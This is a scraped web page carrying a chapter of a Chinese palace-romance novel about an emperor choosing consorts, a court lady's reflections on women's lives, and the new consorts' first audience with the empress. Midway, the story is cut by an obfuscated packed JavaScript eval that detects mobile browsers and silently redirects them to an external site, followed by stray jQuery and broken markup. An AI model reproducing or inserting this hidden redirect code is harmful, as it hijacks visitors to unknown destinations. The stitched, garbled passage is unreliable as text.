“皇城很久没有这么热闹了。”
守卫城门的禁军头领站在城墙之上,手里扶着刀柄,看着下面的马车带着人来人往。
一旁的副将附和道:“是啊,估摸着这几个月都会挺热闹的。”
先是各族派家中如花美眷进宫选妃,后有各地举子进京赶考,这几个月的汴京的确是将要热闹非凡。
一条龙的香纱美人送进四方宫墙之中,等着被人观察挑选。她们当中有些人好奇地掀开帘子,观察着这附近的景致。
过了很多年之后,如果再给她一个机会,应该会多注目与宫外的天地,而非宫内的飞檐吧。
林琅作为宫中地位较高的女官,又是皇后娘娘的妹妹,受命参与选妃事宜。她在承天殿正堂处候着,检查各个秀女的穿着是否得体,身上是否有利器等。一一看过之后,才能放入内殿,由太后、官家和皇后一同擢选。
三人都穿着官服,衬得殿内更加金碧辉煌,奢华绮丽。来选秀的名门闺秀多穿着素雅,是听说当今陛下和皇后都好简朴,便花费心思,在第一印象上包装好自己。
“北境使司皇甫玉良之女皇甫星,吏部从书郎尹建同之女尹惜月……”
一个个美娇娘从三人面前一一滑过,赵砚却一人未选。太后这便急了,打断道:“官家要适度放低标准了,总不能一个世家小姐都不选,后宫如何充实?”
赵砚用手搓了搓膝盖,嘴角挂着一丝无奈的笑:“太后,朕尽量,尽量。”
“监察司御史晏昌之女晏文思,叩——”
来者一袭绿衣,娉娉袅袅,没有多余的装饰,头上簪了几支珠环,脖间佩戴细小珍珠串成的珠链,看上去极为素雅纯净。
最主要的是,这模样也十分端庄稳重,眉目间透露的一股淡淡的温柔。她嘴角含着笑意,不似前面那些个秀女,害怕得不敢有多余的动作。
“臣女叩见陛下,陛下万岁万岁万万岁,太后皇后千岁千岁千千岁。”
莫说赵砚了,林霁都觉得眼前的女子十分可人,动作稳重,张弛有度,谈吐得体,面容清秀。
“你是宴昌的女儿?”
赵砚看皇后脸上露出满意的笑容,追问道。
宴文思抬眸低眉,乖顺答道:“是,臣女的父亲正是监察司御史宴大人。”
“宴昌为人最是忠贞正直,我相信他的女儿也不会差到哪去。”赵砚打量着皇后和太后的反应,然后将目光移去宴文思身上,赞许道。
太后见状赶紧接道:“官家既然喜欢,那边收下吧。”
赵砚点了点头,然后侧过身询问道:“皇后觉得,给个什么位分比较合适?”
“臣妾哪懂这个,”林霁反握住他的手,浅笑道:“自然是官家做主,看着封吧。”
赵砚低头思考了一会,然后抬起头道:“那就封宴氏为正三品婕妤,赐居长乐宫。”
还没等太后开口,宴文思便赶忙领旨谢恩了。
后来太后压着嗓子道:“官家这一下子封的位分高了,接下来得压着点。”
对于赵砚来说,这冗长繁杂的选妃仪式过的无比漫长,偶尔有几个看顺眼的。一套流程走下来,也不过收了七个妃子。
其中得封位分最高的,就是宴文思,她便一下子成了皇后之下的新妃之首。
不过好在在太后一行人看来,宴文思端庄稳重识大体,后面几个得封的秀女虽然模样都是拔尖的,但是在礼仪举止这方面没有宴文思周到,所以也就没有再论及她的位分问题。
长乐宫,又是一个新的繁华之地。
*
宫中因为选妃事宜冗杂繁多,林琅在后宫忙了一天才得以休息片刻。各个新入宫的秀女多少都还有些摸不着头脑,恰好她是个热心的女官,众秀女很难不对她起敬意,想要寻求一些帮助,这事情一件两件的,便堆了起来。
待到黄昏时刻,七个新妃嫔都各自到达了自己宫中,要度过自己寂寞深宫的第一夜。
周玦早早地在前宫等着,接她回家。
春日的晚上还有几分春寒料峭之意,周玦拿出事先准备好的披风,一出来就帮林琅披上了。
“今天累着了吧?”
周玦替她拢好披风的边角,关切道。
林琅在自己胸口处扎了个结,语气中满是疲惫:“是啊,总共就我和司礼司的一个姑娘操持,余下的都是皇后娘娘身边的下人,什么都不懂,事事要操心。”
“不过好在,最忙的今日已经过去了。”说罢她长舒了一口气,在略有些寒冷的夜风中连成了长长的一道雾气。
今日来了三四十个秀女,最后留下的也只有气人。入了天家服侍自然不比外面轻松,林琅也暗中为这几个姑娘捏把汗。
她们之中不乏有人今日还是一副天真娇俏的少女情态,对华丽的宫殿和赏赐的珠宝首饰爱不释手。可她们不知道的是,这些富贵恩宠如流云易散,以后的日子也不像想象中那般平步青云。
“你说,今天被选上的那些秀女,还有机会出宫吗?”林琅坐在马车上,有些惆怅地问道。
“除了皇后能有极少的机会出宫随官家微服私访,其余妃子大抵是不能再出宫了。”
听到周玦的回答,虽然是自己意料之中的事情,可林琅还是觉得有些难过。她不禁继续追问道:“那那些女孩子为什么争先恐后地要选妃?做女官不好吗?女官有权力傍身,还能出入自由,不比妃子好吗?”
“这天下女子,能受教育者,通过考核者,父母家族支持者,这些条件加起来,有多少人能做到?”
周玦耐心回答着她的问题:“女官只为女子一人之权,而皇后、位列四妃或极受恩宠者者能带动整个家族的荣耀。这世间最不乏想走捷径的人,有多少人能放女儿去做女官还不是送去选妃?”
说罢还重重地叹道:“三娘,你是幸运的。”
这时林琅又想到了自己以前的生活,说到:“你说千百年后,有没有可能,男女平等,一起学习,各有各的工作,都不必为所谓的家族荣耀所累,都能追求自己喜欢做的事?”
周玦用食指点了点她探出来的脑门无奈笑道:“净想些有的没的。”
“没跟你开玩笑,”林琅一下子直起身子道:“我说真的,我可是……”
周玦看着她欲言又止的样子,忍不住笑着追问道:“你可是什么?”
见林琅卡着说不出话,周玦只当她是不想说了,揽过来安慰道:“我明白你的意思,我会尽我所能,打造一个尽量公平的环境。”
太阳西沉,夜色慢慢布满了天空,几点星星闪着微乎其微的光芒。
幸好有一颗极为耀眼的北极星,能与月光之美并肩。
*
选妃大典结束后一日,新来的各位妃嫔按规矩要去给中宫请安。几个小姑娘这时候新鲜劲还没过,早早地就激动地起来了。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15720334|163898||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
唯有宴文思,看上去气色不大好。
新入宫的苏云韶,是苏家旁支的嫡女,她与苏玉文算是表兄妹,被封为了四品美人,与宴文思一同住在长乐宫中。
宴文思位分比她高,是长乐宫的主位,按规矩她是要等宴文思一起走的。只是迟迟不见她出来,苏云韶不禁有些着急。
请安头一日就错了时辰,肯定会给皇后留下不好的印象,那她以后的日子好不好过就难说了。
“晏婕妤,可准备好了?万一误了请安的时辰,罪过可就大了。”苏云韶站在宴文思房间门口,她的侍女在侧,似乎还在梳妆。
宴文思听到她的呼唤,插上一个白玉梅花簪子便出来了,还一脸歉意道:“哟,苏妹妹,是我早上起来身子不大好,一时忘了时辰,给你赔个不是,还要多谢苏妹妹提醒。”
苏云韶摆了摆手,笑道:“晏婕妤,那我们现在就走吧。”
两人身后跟着一队侍女太监,穿戴素雅,踩着锦缎做成的鞋,走在宫墙夹道之中。
不出所料,她们虽然没有迟到,却已经是最晚到的两个人了。
林霁没有说她们什么,只是和蔼地笑着说:“这下各位妹妹都到齐了。”
众人立马会意,一齐跪下行礼道:“皇后娘娘万福金安。”
“都起来吧,”林霁端坐在主位上,一颦一笑都很温柔:“诸位以后都要长久地相处,务必互敬互爱,不可旁生嫌隙,让官家为此操心劳碌。”
众人站在堂下,齐道:“谨遵娘娘教诲。”
“都坐下吧。时玉,赐茶。”
今天是这群姑娘们头一次请安,林霁特地准备了上好的龙井。下面的杭佳文杭美人是个懂茶的,一闻便知此茶珍贵难得,头一个谢恩道:“皇后娘娘这龙井极为清香,应当说明前的龙井配上埋藏地下有些年头的梅花雪水,再加以精妙的茶艺,才能得此一盏。”
林霁闻言赞赏道:“杭美人见多识广,不错。”
杭佳文得到了夸奖,自然欢喜。众妃闻言也赶忙品了品这好茶,纷纷赞叹。
坐在最前面的宴文思尝后开口道:“皇后娘娘这盏茶吃席去,臣妾再回去喝自己的茶,怕是要食之无味了。”
听得出来这是恭维的话,林霁也没显出什么,笑着答道:“晏婕妤若是喜欢,本宫送你一些就是了。”
今天的请安看上去还是其乐融融,相谈甚欢的。到了时候,时玉递过来话道:“娘娘,小皇子正在哭闹,乳娘麻烦您去一趟别院。”
林霁闻言略思忖一二,便转过头带上得体的笑容,说:“各位妹妹,今日请安你们也累了,便回宫吧。”
“臣妾领旨——”
一行人接连退去,苏云韶想来和宴文思一起走,回头之时发现她正打量着什么,好像有心事。
“晏姐姐?”苏云韶前来问候道。
宴文思这才反应过来,有些尴尬地回应,随后便离开了祥粹宫。
苏云韶只当她是一时愣神,宴文思也轻飘飘揭过,两人便照常离开了。
回长乐宫的路上,她有意无意地向苏云韶问道:“皇后宫里的别院,你可有注意到过?”
苏云韶有些疑惑地摇了摇头:“没,祥粹宫大,别院也该有很多,宴姐姐问这个做什么?”
“没什么,我也是感慨祥粹宫雍容华丽,一时好奇罢了。”
宴文思揣着心思,故作轻松,无人察觉。